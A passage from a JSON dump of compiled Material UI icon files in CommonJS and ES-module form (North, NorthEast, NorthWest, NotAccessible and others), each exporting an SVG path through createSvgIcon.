    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 23h-1.5v-9H19zM7.53 14H6l-2 9h1.53zm5.97-8.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M9.8 8.9 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3C14.8 12 16.8 13 19 13v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.56-.89-1.68-1.25-2.65-.84L6 8.3V13h2V9.6z\"\n}), 'NordicWalkingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NordicWalkingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 23h-1.5v-9H19zM7.53 14H6l-2 9h1.53zm5.97-8.5c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M9.8 8.9 7 23h2.1l1.8-8 2.1 2v6h2v-7.5l-2.1-2 .6-3C14.8 12 16.8 13 19 13v-2c-1.9 0-3.5-1-4.3-2.4l-1-1.6c-.56-.89-1.68-1.25-2.65-.84L6 8.3V13h2V9.6z\"\n}), 'NordicWalkingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/North.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 9 1.41 1.41L11 5.83V22h2V5.83l4.59 4.59L19 9l-7-7z\"\n}), 'North');"
  },
  {
    "path": "packages/mui-icons-material/lib/North.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 9 1.41 1.41L11 5.83V22h2V5.83l4.59 4.59L19 9l-7-7z\"\n}), 'North');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEast.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'NorthEast');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEast.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'NorthEast');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEastOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'NorthEastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEastOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'NorthEastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEastRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6c0 .56.45 1 1 1h5.59L4.7 17.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L17 8.41V14c0 .55.45 1 1 1s1-.45 1-1V6c0-.55-.45-1-1-1h-8c-.55 0-1 .45-1 1\"\n}), 'NorthEastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEastRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6c0 .56.45 1 1 1h5.59L4.7 17.89c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L17 8.41V14c0 .55.45 1 1 1s1-.45 1-1V6c0-.55-.45-1-1-1h-8c-.55 0-1 .45-1 1\"\n}), 'NorthEastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEastSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'NorthEastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEastSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'NorthEastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEastTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'NorthEastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthEastTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 5v2h6.59L4 18.59 5.41 20 17 8.41V15h2V5z\"\n}), 'NorthEastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 9 1.41 1.41L11 5.83V22h2V5.83l4.59 4.59L19 9l-7-7z\"\n}), 'NorthOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 9 1.41 1.41L11 5.83V22h2V5.83l4.59 4.59L19 9l-7-7z\"\n}), 'NorthOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5.71 9.7c.39.39 1.02.39 1.41 0L11 5.83V21c0 .55.45 1 1 1s1-.45 1-1V5.83l3.88 3.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 2.7a.996.996 0 0 0-1.41 0L5.71 8.29c-.39.39-.39 1.03 0 1.41\"\n}), 'NorthRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5.71 9.7c.39.39 1.02.39 1.41 0L11 5.83V21c0 .55.45 1 1 1s1-.45 1-1V5.83l3.88 3.88c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L12.7 2.7a.996.996 0 0 0-1.41 0L5.71 8.29c-.39.39-.39 1.03 0 1.41\"\n}), 'NorthRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 9 1.41 1.41L11 5.83V22h2V5.83l4.59 4.59L19 9l-7-7z\"\n}), 'NorthSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 9 1.41 1.41L11 5.83V22h2V5.83l4.59 4.59L19 9l-7-7z\"\n}), 'NorthSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m5 9 1.41 1.41L11 5.83V22h2V5.83l4.59 4.59L19 9l-7-7z\"\n}), 'NorthTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m5 9 1.41 1.41L11 5.83V22h2V5.83l4.59 4.59L19 9l-7-7z\"\n}), 'NorthTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWest.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h2V8.41L18.59 20 20 18.59 8.41 7H15V5H5z\"\n}), 'NorthWest');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWest.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h2V8.41L18.59 20 20 18.59 8.41 7H15V5H5z\"\n}), 'NorthWest');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWestOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h2V8.41L18.59 20 20 18.59 8.41 7H15V5H5z\"\n}), 'NorthWestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWestOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h2V8.41L18.59 20 20 18.59 8.41 7H15V5H5z\"\n}), 'NorthWestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWestRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 15c.56 0 1-.45 1-1V8.41L17.89 19.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L8.41 7H14c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1\"\n}), 'NorthWestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWestRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 15c.56 0 1-.45 1-1V8.41L17.89 19.3c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L8.41 7H14c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1v8c0 .55.45 1 1 1\"\n}), 'NorthWestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWestSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h2V8.41L18.59 20 20 18.59 8.41 7H15V5H5z\"\n}), 'NorthWestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWestSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h2V8.41L18.59 20 20 18.59 8.41 7H15V5H5z\"\n}), 'NorthWestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWestTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h2V8.41L18.59 20 20 18.59 8.41 7H15V5H5z\"\n}), 'NorthWestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NorthWestTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h2V8.41L18.59 20 20 18.59 8.41 7H15V5H5z\"\n}), 'NorthWestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessible.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14 11.05-3.42-3.42c.32-.34.74-.57 1.23-.61.48-.04.84.07 1.2.26.19.1.39.22.63.46l1.29 1.43c.98 1.08 2.53 1.85 4.07 1.83v2c-1.75-.01-3.71-.88-5-1.95M12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M2.81 2.81 1.39 4.22 10 12.83V15c0 1.1.9 2 2 2h2.17l5.61 5.61 1.41-1.41zM10 20c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2\"\n}), 'NotAccessible');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessible.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14 11.05-3.42-3.42c.32-.34.74-.57 1.23-.61.48-.04.84.07 1.2.26.19.1.39.22.63.46l1.29 1.43c.98 1.08 2.53 1.85 4.07 1.83v2c-1.75-.01-3.71-.88-5-1.95M12 6c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2M2.81 2.81 1.39 4.22 10 12.83V15c0 1.1.9 2 2 2h2.17l5.61 5.61 1.41-1.41zM10 20c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2\"\n}), 'NotAccessible');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessibleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m9 9v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.24-.24-.44-.36-.63-.46-.36-.19-.72-.3-1.2-.26-.49.04-.91.27-1.23.61L14 11.05c1.29 1.07 3.25 1.94 5 1.95m-9 7c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2M2.81 2.81 1.39 4.22 10 12.83V15c0 1.1.9 2 2 2h2.17l5.61 5.61 1.41-1.41z\"\n}), 'NotAccessibleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessibleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m9 9v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.24-.24-.44-.36-.63-.46-.36-.19-.72-.3-1.2-.26-.49.04-.91.27-1.23.61L14 11.05c1.29 1.07 3.25 1.94 5 1.95m-9 7c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2M2.81 2.81 1.39 4.22 10 12.83V15c0 1.1.9 2 2 2h2.17l5.61 5.61 1.41-1.41z\"\n}), 'NotAccessibleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessibleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-2 18c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2m10.49.49L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l7.9 7.9V15c0 1.1.9 2 2 2h2.17l4.9 4.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41m-2.33-9.56c-1.25-.21-2.43-.88-3.23-1.76l-1.29-1.43c-.24-.24-.44-.36-.63-.46-.36-.19-.72-.3-1.2-.26-.49.04-.91.27-1.23.61L14 11.05c1 .83 2.4 1.54 3.8 1.82.62.13 1.2-.34 1.2-.97 0-.48-.36-.89-.84-.97\"\n}), 'NotAccessibleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessibleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-2 18c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2m10.49.49L3.51 3.51a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l7.9 7.9V15c0 1.1.9 2 2 2h2.17l4.9 4.9c.39.39 1.02.39 1.41 0 .4-.39.4-1.02.01-1.41m-2.33-9.56c-1.25-.21-2.43-.88-3.23-1.76l-1.29-1.43c-.24-.24-.44-.36-.63-.46-.36-.19-.72-.3-1.2-.26-.49.04-.91.27-1.23.61L14 11.05c1 .83 2.4 1.54 3.8 1.82.62.13 1.2-.34 1.2-.97 0-.48-.36-.89-.84-.97\"\n}), 'NotAccessibleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessibleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-2 18c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2m11.19 1.19L2.81 2.81 1.39 4.22 10 12.83V17h4.17l5.61 5.61zM19 11c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.24-.24-.44-.36-.63-.46-.36-.19-.72-.3-1.2-.26-.49.04-.91.27-1.23.61L14 11.05c1.29 1.07 3.25 1.94 5 1.95z\"\n}), 'NotAccessibleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessibleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c1.1 0 2 .9 2 2s-.9 2-2 2-2-.9-2-2 .9-2 2-2m-2 18c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 2-2.83 2m11.19 1.19L2.81 2.81 1.39 4.22 10 12.83V17h4.17l5.61 5.61zM19 11c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.24-.24-.44-.36-.63-.46-.36-.19-.72-.3-1.2-.26-.49.04-.91.27-1.23.61L14 11.05c1.29 1.07 3.25 1.94 5 1.95z\"\n}), 'NotAccessibleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/NotAccessibleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 4c0-1.1.9-2 2-2s2 .9 2 2-.9 2-2 2-2-.9-2-2m9 9v-2c-1.54.02-3.09-.75-4.07-1.83l-1.29-1.43c-.24-.24-.44-.36-.63-.46-.36-.19-.72-.3-1.2-.26-.49.04-.91.27-1.23.61L14 11.05c1.29 1.07 3.25 1.94 5 1.95m-9 7c-1.66 0-3-1.34-3-3 0-1.31.84-2.41 2-2.83V12.1c-2.28.46-4 2.48-4 4.9 0 2.76 2.24 5 5 5 2.42 0 4.44-1.72 4.9-4h-2.07c-.41 1.16-1.52 